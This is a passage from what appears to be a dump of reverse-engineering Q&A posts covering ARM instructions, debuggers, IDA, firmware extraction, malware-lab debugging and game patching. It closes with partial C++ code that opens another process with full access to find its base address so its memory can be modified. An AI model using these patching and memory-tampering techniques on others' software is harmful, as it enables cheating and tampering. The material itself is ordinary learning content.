    You can either manipulate your shortcuts.cfg or use the Options->Shortcuts GUI since version 6.2.

    \n" }, { "Id": "14617", "CreationDate": "2017-02-10T14:04:06.343", "Body": "

    While reversing a bootloader, i have a lot of msr/mrs instructions, but i cannot find in the arm documentation the meaning of the parameters.

    \n\n

    For example in IDA i have things like :

    \n\n
    MSR             #4, c6, c0, #4, X0\n
    \n\n

    or

    \n\n
    MSR             #5, #0\n
    \n\n

    Could someone explain how to parse these instructions and point me to the right documentation ?

    \n\n

    Maybe there is a script or plugin to automate the process ?

    \n", "Title": "ARM: understanding MSR/MRS instructions", "Tags": "|assembly|arm|", "Answer": "

    The presence of X0 and the use of MSR to access a system register tells me that you are on 64-bit ARM / ARMv8.

    \n\n

    The reference manual for this architecture can be found here

    \n\n

    Section C6 describes the instructions. You can find MSR (register) at C6.2.131 and MSR (immediate) at C6.2.130. These both access system control registers.

    \n\n

    Section D7 describes the generic ARMv8 system control registers. In D7.2.34 you can find the information that your MSR instruction is accessing the HPFAR_EL2 register which contains the \"Hypervisor IPA Fault Address.\" (see the table at the bottom of the section that shows the values of op0/op1/CRn/Cm/op2 that correspond to this register.)

    \n\n

    The two instructions you show above are therefore -

    \n\n

    MSR HPFAR_EL2, X0

    \n\n

    MSR PSTATEField_SP, #0

    \n" }, { "Id": "14618", "CreationDate": "2017-02-10T16:23:30.770", "Body": "

    Don't be confused by a title of a question. Here is an explanation.

    \n\n

    Let's take Intel Pin. They claim that

    \n\n
    \n

    The best way to think about Pin is as a \"just in time\" (JIT) compiler.\n The input to this compiler is not bytecode, however, but a regular\n executable. Pin intercepts the execution of the first instruction of\n the executable and generates (\"compiles\") new code for the straight\n line code sequence starting at this instruction. It then transfers\n control to the generated sequence.

    \n
    \n\n

    However, software breakpoint (according to Reversing: Secrets of Reverse Engineering by Eldad Eilam) is:

    \n\n
    \n

    Software breakpoints are instructions added into the program\u2019s code by\n the debugger at runtime. These instructions make the processor pause\n program execution and transfer control to the debugger when they are\n reached during execution.

    \n
    \n\n

    Basically both Intel PIN and e.g. OllyDBG does roughly similar things: altering the execution flow by inserting custom instruction. I know, that with PIN you can do much more then just pause under a certain condition, but it is not the point.

    \n\n

    So, my question is what is the key difference between JIT compilation (as in Intel PIN) and Software breakpoints (as in OllyDBG or any other debugger)?

    \n", "Title": "What is the difference between binary instrumentation and software breakpoints?", "Tags": "|ollydbg|breakpoint|pintool|", "Answer": "

    Intel Pintool is not a JIT compiler. The explanation you quote just uses an analogy to JIT compilation, as there are logical similarities. IMHO this is not a well thought out analogy, and should be taken very lightly.

    \n

    I'll explain the three concepts in detail:

    \n

    JIT Compilation

    \n

    Indeed, the concept of JIT compilation is not really relevant to the question, but I'll go over it just the same:

    \n

    JIT compilation is mostly used as a performance improvement for interpreted languages, but some more advanced languages use it (examples are .Net and java).

    \n

    When a non-compiled code is executed, there's basically a loop processing each bytecode in a sequence (similar to how a Processor executes instructions one after the other). That loop basically implements byte code instructions to CPU instructions, modifying a state context (similar to CPU registers, only usually a lot bigger and higher-level).

    \n

    That process is slow compared to CPU instructions, and usually for no good reason - that was how interpreters were designed. Here comes JIT.\nThis is basically saying that instead of implementing a loop processing each bytecode instruction, it is possible for that loop to generate CPU instructions the first time it runs, and just execute those. To simplify things, JIT is a process of translating the language's bytecode to the CPU's instruction set just before executing the code, letting the CPU instructions run instead of the interpreter loop. Usually the compiled code is cached to it won't be compiled again.

    \n

    Software breakpoint

    \n

    A software breakpoint is a specific instruction (in x86: int 3, encoded both as 0xcc and 0xcd0x03) that tells the CPU the user (in CPU terms, this usually means a developer) would like to know whenever it is executed and suspend the execution for further inspection. When it is hit an interrupt handling mechanism it triggered and the execution of the process is suspended by a debugger handling that interrupt. debuggers then usually let the developer inspect the code, modify it, and then resume execution. A debugger sets a software breakpoint by replacing a single instruction (or part of it) with a the software breakpoint interrupt, and sets it back to the original instruction when it later resumes execution.

    \n

    Binary Instrumentation (Pintool)

    \n

    With Binary Instrumentation, a tool such as Pintool processes the code within a binary executable (similarly to how a JIT compiler processes a bytecode or script) and creates a "fixedup" or modified executable code, by inserting multiple types of additional code. This is usually done when breakpoints are not enough, or when you want to analyze a lot of an executable. Examples include modifying all jump instructions (say, to log the source and target of all jumps, for example).

    \n

    As you said software breakpoints are quite limited compared to the abilities a binary instrumentation engine provides, so I focused on the technical implementation rather than the advantages of the two.

    \n" }, { "Id": "14635", "CreationDate": "2017-02-12T12:46:33.200", "Body": "

    I am currently working on a old 90's video game to try to correct/modify unrealistic behaviors.

    \n\n

    I managed to almost complete my list, but it remains my main objective...

    \n\n

    It is a management game, and if you are a poor manager, your boss simply fire you, sometimes for debatable reasons. I found where the \"You are fired\" pannel is launched, but I have some difficulties to understand the mecanism. Could someone help me to understand the below code?

    \n\n

    Note that according to IDA it is a 16 bits application.

    \n\n
        mov     eax, dword_5F94E0  // copy the content of dword in eax\n    mov     ecx, eax // copy eax in ecx\n    lea     edx, [eax+eax*4] // ??\n    lea     eax, [edx+edx*8] // ??\n    shl     eax, 8 // ??\n    add     eax, ecx // add ecx to eax\n    lea     edx, [eax+eax*2] // ??\n    mov     eax, dword_9FB922[ecx+edx*2] // ??\n    lea     ecx, dword_9ECB20[ecx+edx*2] // ??\n    sub     eax, 2C5h // remove 709 from eax\n    cmp     eax, 0Dh // compare eax to 13\n    ja      short loc_42D480 // jump if eax > 13 (not fired) else fired\n
    \n\n

    I know there is the easy way to change the behavior of the last line.But it seems it is more complicated: doing so only prevent the \"You are fired\" panel to be displayed, but you are still sacked.

    \n", "Title": "Help to understand some assembly code", "Tags": "|disassembly|assembly|", "Answer": "
    mov     eax, dword_5F94E0  // copy the content of dword in eax\nmov     ecx, eax // copy eax in ecx\nlea     edx, [eax+eax*4] // ??\n
    \n\n

    edx=eax*5

    \n\n
    lea     eax, [edx+edx*8] // ??\n
    \n\n

    eax=edx*9, i.e. the dword_5F94E0*5*9

    \n\n
    shl     eax, 8 // ??\n
    \n\n

    eax=eax*256, i.e. the dword_5F94E0*5*9*256

    \n\n
    add     eax, ecx // add ecx to eax\n
    \n\n

    eax=new eax+dword_5F94E0, i.e. the dword_5F94E0*5*9*256+dword_5F94E0

    \n\n

    i.e. dword_5F94E0*11521

    \n\n
    lea     edx, [eax+eax*2] // ??\n
    \n\n

    edx=eax*3, i.e. dword_5F94E0*11521*3

    \n\n
    mov     eax, dword_9FB922[ecx+edx*2] // ??\n
    \n\n

    eax=value from array[dword_5F94E0+dword_5F94E0*11521*3*2]

    \n\n

    i.e. eax=value from array[dword_5F94E0*69127]

    \n\n
    lea     ecx, dword_9ECB20[ecx+edx*2] // ??\n
    \n\n

    irrelevant for this purpose

    \n\n
    sub     eax, 2C5h // remove 709 from eax\ncmp     eax, 0Dh // compare eax to 13\nja      short loc_42D480 // jump if eax > 13 (not fired) else fired\n
    \n\n

    So that's a really large array that is being queried to fetch a small value.

    \n\n

    However, the most interesting part would be to look in that array to see which indices match the value of 0x2C5+0x0D, since they trigger the \"fired\" code path.

    \n\n

    Given those, you can work out what value in dword_5F94E0 would access each of those indices, by dividing the index by 69127.

    \n\n

    From there, you can search the rest of the code for writes to dword_5F94E0 with those values. Then you will have the events that are interesting.

    \n\n

    At that point, you can presumably change the event value to something that won't trigger the \"fired\" code path.

    \n" }, { "Id": "14636", "CreationDate": "2017-02-12T14:20:59.793", "Body": "

    How to extract content from NVRAM file? NVRAM type is SPI Serial NOR Flash.\nNVRAM has been copied as mtdblock partition.

    \n\n

    An embedded device that run Linux v2.6.18_pro500.

    \n\n
    Linux version 2.6.18_pro500 (gcc version 4.2.0 20070126 (prerelease) (MontaVista 4.2.0-2.0.0.custom 2007-02-12) \nProcessor: ARMv6-compatible processor rev 4 (v6b)\n
    \n\n

    MTD device contain 8 partitions, nvram mtd7 partition is jffs2 filesystem.

    \n\n
    /proc/mtd\ndev:    size   erasesize  name\nmtd0: 00020000 00010000 \"U-Boot\"\nmtd1: 00010000 00010000 \"env1\"\nmtd2: 00010000 00010000 \"env2\"\nmtd3: 007b0000 00010000 \"UBFI1\"\nmtd4: 007b0000 00010000 \"UBFI2\"\nmtd5: 000c886c 00010000 \"Kernel\"\nmtd6: 00416800 00010000 \"RootFileSystem\"\nmtd7: 00050000 00010000 \"nvram\"\n
    \n", "Title": "How to extract content of NVRAM file?", "Tags": "|firmware|linux|embedded|flash|", "Answer": "

    According to this page, you can try this command :

    \n\n

    dd if=/dev/mtdblock/0 bs=1 skip=4116 count=2048 | strings > /tmp/cfe.txt

    \n" }, { "Id": "14638", "CreationDate": "2017-02-12T22:36:03.180", "Body": "

    I am working on Lab11-03 in "Practical Malware Analysis" book.
    \nThe malware I am analyzing trojanized the file cisvc.exe which is the indexing service in Windows XP.

    \n

    After that the malware start the service by running the command net start cisvc.
    \nI put a breakpoint before it starts the service:
    \n\"enter

    \n

    I want to debug the service (cisvc.exe).
    \nI opened it in another instance of OllyDbg but I received an exception:
    \n\"enter

    \n

    There is an option to attach processes but the serivce it currently stopped.
    \nI need some way to put a breakpoint in the very beginning of it.

    \n

    Any idea how can I do it ?

    \n", "Title": "Can't debug a service", "Tags": "|ida|ollydbg|debugging|malware|immunity-debugger|", "Answer": "

    I solved it by using updated version of OllyDbg => OllyDbg 2.01

    \n\n

    I also found another reference that provides another way to solve such problem in the future:
    \nDebugging malware that will only run as a service

    \n" }, { "Id": "14646", "CreationDate": "2017-02-13T12:41:08.260", "Body": "

    is it possible when performing static analysis with IDA to change the default load address of the module (ie 0x00400000 in most cases depending on PE preferences) ? I think I read a book on IDA 1 year ago which taught me how to, however with googling around and browsing in IDA i didn't find anything.

    \n", "Title": "Relocate load address of main module IDA", "Tags": "|ida|", "Answer": "

    Passing confirmed answer from the comment:

    \n\n

    See Edit-->Segments-->Rebase program menu item in Ida.\nOnline help on this menu item is here.

    \n" }, { "Id": "14648", "CreationDate": "2017-02-13T16:06:10.433", "Body": "

    When setting a hardware breakpoint (DR0...), this stores an address (as far as I can see, it looks like a virtual address). Because addresses are shared between processes (at least in 32 bits this can be the case), how does the processor know which process is affected in order to raise the exception? Does this have any implications in a multiprocessor environment?

    \n\n

    I know DR7 flags if the bp has global (all tasks) or local (current task only) relevance, but I cannot see how the processor knows when to raise the exception since I can set a hw bp at 410123 for my current pid (task), and other pids might use the same address too.

    \n", "Title": "How does the processor distinguishes processes wrt HW bps?", "Tags": "|debugging|breakpoint|", "Answer": "

    The various bits in the DR7 (debug control) register determines the applicability of the hardware breakpoint in question. Such breakpoints can be local or global.

    \n\n

    Global breakpoint, as its name suggests affects all tasks. Local breakpoint are specific to the currently executing task. For the Intel Architecture, local breakpoint enable flag bits in the DR7 are cleared on every task switch. Global breakpoint are preserved on task switches.

    \n\n

    In Windows, you can only set local hardware breakpoints from user mode.

    \n\n

    Now, as per intel documentation local hardware breakpoints are cleared on task switch. So how does local hardware breakpoints work ?

    \n\n

    Hardware breakpoints work and fire on the correct process because Windows does not use the hardware task state switching machinery available in the processor. Windows has its own mechanism for context switch. During a context switch, the kernel creates a special structure called the TRAP_FRAME to store information about the debug registers along with other things. The TRAP_FRAME is a part of the thread's complete context.

    \n\n

    When the thread is re-scheduled for execution, Windows restores the saved context and with this hardware breakpoints are restored too.

    \n\n

    Hence, the processor can never distinguish between a local hardware breakpoint in Process A and Process B. All it sees is a single task executing on each processor. The responsibility of restoring local hardware breakpoints across various processes lies with Windows.

    \n\n
    \n\n

    Replies to the comments

    \n\n

    (1) On Windows, hardware breakpoints are thread specific. This means if you set a hwbp on an address from a particular thread, the breakpoint will only be triggered when the thread executes/reads/writes that particular address. HWBP are never process wide. Hence, thread2 will never break for a hwbp set from thread1.

    \n\n

    (2) The situation is same for Linux. However, it is most likely different for iOS as it runs on a different architecture i.e ARM and not x86.

    \n" }, { "Id": "14649", "CreationDate": "2017-02-13T23:46:46.630", "Body": "

    Is there a way, as ollydbg provides, to run untill user code (programmer code) with IDA PRO ?\nYou can do that in several ways in olly, like setting a breakpoint on the .text section of main module.

    \n", "Title": "Run to user code in IDA", "Tags": "|ida|", "Answer": "

    The answer to this question is that IDA provides the exact same option :\nOpen the segment view subwindow and set a breakpoint on a memory region.\nWhenever non-library code (thanks to a comment on question for rephrasing with more accuracy what i meant) is hit, the debugger will break. Very usefull for instance for resuming after user input or IPC WM_COPYDATA procedure calls.

    \n" }, { "Id": "14650", "CreationDate": "2017-02-14T03:45:02.390", "Body": "

    For the following example, using x86 code in AT&T format:

    \n\n
    xor $0x20, (%eax) \nand $0x20, %ah \nor $0x20, %dh \ndec (%edi) \ndec %si\ndec %sp\ndec %bp\n
    \n\n

    My understanding:

    \n\n
    Line 1: takes value in %eax and does an XOR operation with 0x20\n\nLine 2: takes value in %ah and dies an AND operation with 0x20\n\nLine 3:  takes value in %dh and does an OR operation with 0x20.\n\nLine 4: decrements value in %edi by 1\n\nLine 5: decrements value in %si by 1\n\nLine 6: decrements value in %sp by 1\n\nLine 7: decrements value in %bp by 1\n
    \n\n

    Questions:

    \n\n
      \n

    1. What happens to the result after each step of code has been run?

      2. \n

    2. Does the order of the operands matter? If yes why?

      3. \n

    3. How do you construct some equivalent code (e.g. decompile into c++) from this assembly code?

      4. \n
    \n\n

    This is not a homework question - I am new to assembly.\nExample code is not from actual code - it's to help me get a better understanding & illustrate my questions.

    \n", "Title": "3 questions on assembly - syntax, meaning, and equivalent in high level code (eg C++)", "Tags": "|assembly|decompilation|binary|", "Answer": "

    To answer your third question, from a computer science aspect c++ or any other highlevel language that isn't one to one mnemonic map of machine opcodes; soul purpose is to mitigate complexity. That being said c++ we can infer isn't or shouldn't be a 1 to 1 map to assembly. Some c syntax can't be exactly mapped.

    \n\n

    For example a jump statement progresses the code to any other byte. So a jump can act like a conditional branch or a function call, etc. All very different statements in c++ yet they use the key part, jump instruction.

    \n\n

    I think a better approach would be to ask how a c++ basic statements compile to assembly. If you understand and know thoughs it then is a simple thing to find those blocks in assembly.

    \n\n

    note In modern setting most high level languages don't compile to x86 assembly but byte code or some operating specific format, often not far from assembly, however different enough that it requires the operating system to run. This is to abstract the underlying hardware so software doesn't have to get recompiled.

    \n" }, { "Id": "14657", "CreationDate": "2017-02-14T19:52:57.687", "Body": "

    I'm new to reverse engineering, I want to find out which command in the Source2 Engine's console invokes which function (and in which DLL). For that, I was wondering how can I know:

    \n\n
      \n
    1. which functions are called from which DLL in runtime.
      2. \n
    2. Is there a debugger that lets me know what code was executed between two timestamps?
      3. \n
    \n\n

    Thanks in advance!

    \n", "Title": "Can I know which function from which dll was called at runtime?", "Tags": "|dll|functions|", "Answer": "

    This isn't an exact match but a while back I wrote this https://github.com/marshalcraft/CheapoDllDependencyTool/blob/master/CheapoDllDependencyTool/bin/Debug/CheapoDllDependencyTool.exe

    \n\n

    It's on my GitHub and will list the first generation of dependent DLL's provided an executable or dll. It's pretty basic and can't remember if I list functions or not.

    \n\n

    There have to be much better implementations than mine I bet but this minimally works for things like seeing if web browser relies in ws2 WinSock or other things when you want to get an idea of what apis to use to do something.

    \n" }, { "Id": "14665", "CreationDate": "2017-02-16T07:13:18.900", "Body": "

    In Alam you can find the classical differentiation between disassemblers. The author explains in general the two well known types of disassemblers:

    \n\n
    \n
      \n

    1. The Linear Sweep technique starts from the first byte of the code and disassembles one instruction at a time until the end. [...]

      2. \n

    2. The Recursive Traversal technique relies on the control flow of the program and decodes the bytes by following the control flow of the\n program. [...]

      3. \n
    \n
    \n\n

    Afterwards, the author introduces distorm and he makes the following statement:

    \n\n
    \n

    Both techniques have some deficiencies. To overcome these deficiencies\n a good disassembler would combine both techniques. One such open\n source disassembler, for non-commercial use, is distorm.

    \n
    \n\n

    After reading the docs of distorm, I'm not able to confirm this last statement. In my opinion, distorm seems to work like a classic Linear-Sweep version, and also will struggle with fake instructions and obfuscation (see 1). It calls itself \"stream disassembler\", where I was not able to fully clarify this expression.

    \n\n

    With these facts, I have two questions:

    \n\n
      \n

    1. Is distorm really a combination of linear sweep and recursive\ntraversal as mentioned by the author?

      2. \n

    2. What is your formal understanding of a \"stream disassembler\"?

      3. \n
    \n\n
    \n\n

    0 Page 47 in Alam, Shahid, et al. \"A framework for metamorphic malware analysis and real-time detection.\" computers & security 48 (2015): 212-233.

    \n\n

    1 https://github.com/gdabah/distorm/wiki/StreamDisassembler

    \n", "Title": "What type of disassembler is distorm?", "Tags": "|disassemblers|", "Answer": "

    DiStorm does not implement recursive traversal, however you can use distorm (or others, e.g. capstone) to implement your own recursive traversal algortihm.

    \n\n

    There are a range of tools available doing something like this for you: IDA, BinaryNinja, JakStab (claims 'Iterative Disassembly') etc.

    \n\n

    Since retrieving the ControlFlowGraph is a hard problem, people tend to separate between the translation from machine code to assembler and the useage of those frameworks to retrieve the actual control flow.

    \n\n

    Cite from diStorms Github:

    \n\n
    \n

    This is the time to say that diStorm, as a stream disassembler, doesn't do the flow control analysis work for you, but it will help you do that more easily.

    \n
    \n\n

    Disassemblers try to help by indicating which instructions may change the control flow and supplying direct targets, but implementing control flow recovery is non-trivial due to indriect jumps and anti-disassembler techniques.

    \n\n

    Regarding the second part of the question: It disassembles a given stream of bytes (buffer object). That doesn't seem any different from any disassembler out there.

    \n" }, { "Id": "14668", "CreationDate": "2017-02-16T15:06:21.193", "Body": "

    What I would like to know is whether or not I have sufficient information to determine a particular checksum algorithm being used.

    \n\n

    In my case I have a very large stream of data with many frames of data and their respective checksums. Here is what I know:

    \n\n
      \n
    1. The data-field (of which the checksum is being computed) for each frame in the stream.
      2. \n
    2. The checksum of each packet.
      3. \n
    \n\n

    Is this a sufficient amount of information to determine a checksum algorithm? I also have many samples so I could try out a particular checksum algorithm on all the samples to see whether/not the algorithm will work in each case.

    \n\n

    Here is more information that may clarify things:

    \n\n
      \n
    1. The length of the data appears to be 2 bytes.
      2. \n
    2. The length of the checksum appears to be 4 bytes.
      3. \n
    \n", "Title": "Do I have sufficient information to determine a checksum algorithm?", "Tags": "|crc|communication|", "Answer": "

    In most cases - yes, you probably have enough information to determine the algorithm, especially if the checksum algorithm is standard(just try to compute all well-known 32 bit checksums on some data samples and see if it fits).

    \n\n

    However there are some assumptions in this claim:

    \n\n\n\n

    In this case I'd recommend to reverse engineer the software that computes or checks the checksum: if checksum is not standard it is very much easier.

    \n" }, { "Id": "14675", "CreationDate": "2017-02-17T15:58:55.457", "Body": "

    I'm trying to RE a Java application that uses an obfuscated loader program to load classes from a second, obfuscated archive-like file. I'm trying to get at these loaded classes for further analysis, but thus far I haven't had any success in figuring out the format of the archive file. Since the classes are loaded into memory anyway, and I used a Java profiler to get a short list of the specific classes and objects that most likely contain what I'm looking for, is there a way to intercept these classes from memory, a core dump, as they're loaded, or through any other means, and inspect/save them? Assume I have full control of the system, and I can stop or modify the program in any way.

    \n", "Title": "Extracting classes from running JVM", "Tags": "|java|deobfuscation|", "Answer": "

    You can dump bytecode at runtime using HotSpot tools, and use a decompiler to reverse the bytecode. I made a proof of concept, available here

    \n\n

    It requires 3 dependencies:

    \n\n\n\n

    You could also have a look at the HSDB utility

    \n" }, { "Id": "14680", "CreationDate": "2017-02-17T20:45:20.937", "Body": "

    I'm trying to interpret a bunch of bytes I'm receiving from a GPS tracker.\nThere are 3 sequential bytes that I believe mean hours, minutes and seconds. I recorded timestamps along with the messages I receive and noticed this:

    \n\n
    when hour 0: byte 1 in message is 0x30\nwhen hour 1: byte 1 in message is 0x31\n...\n\nwhen minute 0: byte 2 in message is 0x30\nwhen minute 1: byte 2 in message is 0x31\n...\n
    \n\n

    But some bytes are skipped as follows:

    \n\n

    for hours:

    \n\n
    Hou 10   16          2\n----------------------\n00: 48 - 30 - 00110000\n01: 49 - 31 - 00110001\n02: 50 - 32 - 00110010\n03: 51 - 33 - 00110011\n04: 52 - 34 - 00110100\n05: 53 - 35 - 00110101\n06: 54 - 36 - 00110110\n07: 55 - 37 - 00110111\n08: 56 - 38 - 00111000\n09: 57 - 39 - 00111001 <- jump\n10: 65 - 41 - 01000001\n11: 66 - 42 - 01000010\n12: 67 - 43 - 01000011\n13: 68 - 44 - 01000100\n14: 69 - 45 - 01000101\n15: 70 - 46 - 01000110\n16: 71 - 47 - 01000111\n17: 72 - 48 - 01001000\n18: 73 - 49 - 01001001\n19: 74 - 4a - 01001010\n20: 75 - 4b - 01001011\n21: 76 - 4c - 01001100\n22: 77 - 4d - 01001101\n23: 78 - 4e - 01001110\n
    \n\n

    for minutes and seconds:

    \n\n
    min  10   16          2\n-----------------------\n00:  48 - 30 - 00110000\n01:  49 - 31 - 00110001\n02:  50 - 32 - 00110010\n03:  51 - 33 - 00110011\n04:  52 - 34 - 00110100\n05:  53 - 35 - 00110101\n06:  54 - 36 - 00110110\n07:  55 - 37 - 00110111\n08:  56 - 38 - 00111000\n09:  57 - 39 - 00111001 <- jump\n10:  65 - 41 - 01000001\n11:  66 - 42 - 01000010\n12:  67 - 43 - 01000011\n13:  68 - 44 - 01000100\n14:  69 - 45 - 01000101\n15:  70 - 46 - 01000110\n16:  71 - 47 - 01000111\n17:  72 - 48 - 01001000\n18:  73 - 49 - 01001001\n19:  74 - 4a - 01001010\n20:  75 - 4b - 01001011\n21:  76 - 4c - 01001100\n22:  77 - 4d - 01001101\n23:  78 - 4e - 01001110\n24:  79 - 4f - 01001111\n25:  80 - 50 - 01010000\n26:  81 - 51 - 01010001\n27:  82 - 52 - 01010010\n28:  83 - 53 - 01010011\n29:  84 - 54 - 01010100\n30:  85 - 55 - 01010101\n31:  86 - 56 - 01010110\n32:  87 - 57 - 01010111\n33:  88 - 58 - 01011000\n34:  89 - 59 - 01011001\n35:  90 - 5a - 01011010 <- jump\n36:  97 - 61 - 01100001\n37:  98 - 62 - 01100010\n38:  99 - 63 - 01100011\n39: 100 - 64 - 01100100\n40: 101 - 65 - 01100101\n41: 102 - 66 - 01100110\n42: 103 - 67 - 01100111\n43: 104 - 68 - 01101000\n44: 105 - 69 - 01101001\n45: 106 - 6a - 01101010\n46: 107 - 6b - 01101011\n47: 108 - 6c - 01101100\n48: 109 - 6d - 01101101\n49: 110 - 6e - 01101110\n50: 111 - 6f - 01101111\n51: 112 - 70 - 01110000\n52: 113 - 71 - 01110001\n53: 114 - 72 - 01110010\n54: 115 - 73 - 01110011\n55: 116 - 74 - 01110100\n56: 117 - 75 - 01110101\n57: 118 - 76 - 01110110\n58: 119 - 77 - 01110111\n59: 120 - 78 - 01111000\n
    \n\n

    Do you guys know of any encoding like this? Does it make sense? There would be any reason for encoding this way?

    \n", "Title": "What is the format of this time?", "Tags": "|protocol|binary-diagnosis|gps|", "Answer": "

    Converting the numbers to ASCII, we get:

    \n\n\n\n

    It is encoded this way probably to make it human-readable.

    \n" }, { "Id": "14688", "CreationDate": "2017-02-18T11:04:05.917", "Body": "

    I am trying to recreate a patch for an ARM binary. As it shows in attached picture, I have provided the before and after sections of file. In patched file, a new subroutine is added in a cave, and then it branches to an existing subroutine that has changed to an instruction.

    \n\n

    My question is, how do you recreate such a patch? I know how to edit bytes in IDA, but not sure how to add new ones.

    \n\n

    \"enter

    \n", "Title": "Add new subroutine using IDA for ARM binary", "Tags": "|ida|disassembly|arm|ios|function-hooking|", "Answer": "

    You can perform the task you're looking for using either one of the following approaches:

    \n\n\n" }, { "Id": "14689", "CreationDate": "2017-02-18T13:08:04.757", "Body": "

    I want to know how MSVC 2010 generates code for volatile local variable and have done a test. This simple test function uses a volatile local variable:

    \n\n
    int proc1(int a, int b) {\n    int volatile volvar=0;\n\n    int c=a;\n    if (b>a) \n        c=0;\n    return c;\n}\n
    \n\n

    The initialization of the integer volvar should not be eliminated by the optimizer due to the volatile keyword. The generated 64bit assembly is like this:

    \n\n
    _TEXT   SEGMENT\nvolvar$ = 8\na$ = 8\nb$ = 16\n?proc1@@YAHHH@Z PROC                    ; proc1, COMDAT\n\n; 3    : int volatile volvar=0;\n\n    xor eax, eax\n\n; 4    : \n; 5    :    int c=a;\n; 6    :    if (b>a) \n\n    cmp edx, ecx\n    cmovg   ecx, eax\n    mov DWORD PTR volvar$[rsp], eax;<---what is 'mov DWORD PTR [8+rsp], eax'?\n\n; 7    :        c=0;\n; 8    :    return c;\n\n    mov eax, ecx\n\n; 9    : }\n\n    ret 0\n?proc1@@YAHHH@Z ENDP                    ; proc1\n_TEXT   ENDS\nEND\n
    \n\n

    Notice the symbol volvar$ equals to 8, so the instruction generated for the volatile local variable assignment write to the address [8+rsp]. RSP wasn't modified so should point to the return address. But my understanding of the 64bit stack layout is that there is no longer any parameters above the return address. Instead, [8+rsp] should point to the RCX storage location for the CALLING FUNCTION which has nothing to do with our current function. Does that overwrite the stack of the calling function incorrectly?

    \n\n

    Is it a bug with the compiler?

    \n", "Title": "MSVC Generates Weird Code for Volatile Local Variable", "Tags": "|disassembly|c++|x86-64|", "Answer": "

    No, it's not a compiler bug.

    \n\n

    The x64 calling convention on Windows says that the caller needs to allocate space on the stack for 4 register parameters even if the called function has less than 4 arguments. Whilst, notionally, these are for the called function to spill the 1st four parameters (passed in registers RCX, RDX, R8 and R9) to, there is no requirement for it do so.

    \n\n

    In fact, even if the called function has fewer than 4 parameters, these 4 stack locations are effectively owned by the called function, and may be used by the called function for other purposes besides saving parameter register values.

    \n\n

    See Microsoft's documentation for details.

    \n\n

    In your example, proc1 doesn't need to spill any registers so the compiler can efficiently use this allocated space for your volvar local variable instead.

    \n" }, { "Id": "14690", "CreationDate": "2017-02-18T14:02:10.183", "Body": "

    I'm trying to inject code into a small game I wrote to keep the health up forever, I want to do this by injecting code into the game that would set the health to 10 before each render() call, causing the game to in essence never end.

    \n\n
    \n\n

    For my project I wrote a small sample game in C++, which I then compiled, and decompiled in IDA.

    \n\n

    I managed to to find the address in which the health is being stored (0x0000000140005034), and the main loop address (0x000000014000107D), however I can't seem to figure out how I'd go from a static address in IDA, to an actual address when spawning the process in another C++ program.

    \n\n

    Could anyone give me a hint on how I could achieve this?

    \n\n

    Here's the code I'm trying to use to inject code into my application:

    \n\n
    #include <iostream>\n#include <Windows.h>\n\n#include \"config.h\"\n\nSTARTUPINFO info = {sizeof(info)};\nPROCESS_INFORMATION process;\n\n\nvoid injectCodeIntoProccess()\n{\n    // Stuck here, no idea how I could modify my game's code on every loop iteration.\n}\n\n\nvoid main()\n{\n    if (CreateProcess(EXECUTABLE_PATH, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &info, &process)) {\n        injectCodeIntoProccess();\n        WaitForSingleObject(process.hProcess, INFINITE);\n    } else {\n        std::cerr << \"Error whilst creating process.\" << std::endl;\n        exit(1);\n    }\n}\n
    \n\n

    Here's the code I used for my game:

    \n\n
    #include <iostream>\n#include <Windows.h>\n\n\n// Health variable\n// Address (as found in IDA): .data:0x0000000140005034\nint health = 10;\n\n\n// Render the game\n//\n// In real world scenario's this would be a 3d world or something\n// but we're using 'Health: *..' as the game itself.\nvoid render()\n{\n    std::cout << \"Health: \";\n    for (int i = 0; i < health; i++) std::cout << \"*\";\n    std::cout << std::endl;\n}\n\n\n// Gets input from the user\n//\n// If the user presses a spacebar, increase the health\n// by one otherwise, decrease the health by one.\nvoid input()\n{\n    if (GetKeyState(VK_SPACE) < 0) {\n        health++;\n    } else {\n        health--;\n    }\n}\n\n\n// Simple game\n//\n// If the player reaches 0 health game over.\n// This is checked every 500ms\nint main()\n{\n    while (health > 0) \n    {\n        input();\n        render();\n        Sleep(500);\n    }\n\n    return 0;\n}\n
    \n", "Title": "Modifying address found through IDA", "Tags": "|ida|c++|memory|injection|", "Answer": "
    \n

    how I'd go from a static address in IDA, to an actual address ... in another C++ program

    \n
    \n\n

    When executable file is loaded in IDA, it is loaded with the preferred image base taken from executable's header. It can be viewed, for example, through menu Edit -> Segments -> Rebase program.... Value there is an image base.

    \n\n

    Another way taken from here: go to File -> Script command... or press Shift+F2, select Python as scripting language, type

    \n\n
    print \"%x\" % (idaapi.get_imagebase())\n
    \n\n

    as script body and press Run. You will see current image base in the Output Window.

    \n\n

    Either way you will know image base assigned by IDA. In your example it's most likely 0x0000000140000000. Now you can subtract it from the variable address you already know to get variable's offset in the executable (say, we're dealing with health variable stored at 0x0000000140005034):

    \n\n
    0x0000000140005034 - 0x0000000140000000 = 0x5034\n
    \n\n

    Now you have to find image base of the target module in another process. In your example it's the image base of the executable itself, not DLL. Process of obtaining the exe image base may be found at stackoverflow through this link.

    \n\n

    The code is posted below:

    \n\n
    #include <windows.h>\n\n#include <Psapi.h>\n\n#include <algorithm>\n#include <exception>\n#include <iostream>\n#include <string>\n#include <vector>\n\n// Linking Psapi.lib\n#pragma comment(lib, \"Psapi.lib\")\n\nstruct close_on_exit\n{\n    close_on_exit(HANDLE ptr)\n        : ptr_(ptr)\n    { };\n\n    ~close_on_exit()\n    {\n        if (ptr_)\n        {\n            ::CloseHandle(ptr_);\n            ptr_ = nullptr;\n        }\n    }\n\nprivate:\n    HANDLE ptr_;\n};\n\nint main()\n{\n    //\n    // code of creating process here\n    //\n\n    DWORD id = process.dwProcessId;  // obtained from PROCESS_INFORMATION structure\n\n    HANDLE process_handle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\n    close_on_exit free_ptr(process_handle);  // auto release memory on exception\n\n    if (NULL == process_handle)\n    {\n        throw std::exception(\"OpenProcess failed\");\n    }\n\n    DWORD bytes_requested = 0;\n    if (::EnumProcessModules(process_handle, NULL, 0, &bytes_requested) == 0)\n    {\n        throw std::exception(\"EnumProcessModules failed\");\n    }\n\n    // Retrieve module handles into array with appropriate size.\n    std::vector<HMODULE> module_handles(bytes_requested / sizeof(HMODULE));\n    if (::EnumProcessModules(process_handle, module_handles.data(), bytes_requested, &bytes_requested))\n    {\n        char module_name[MAX_PATH];\n\n        for (auto ci = module_handles.begin(); ci != module_handles.end(); ++ci)\n        {\n            if 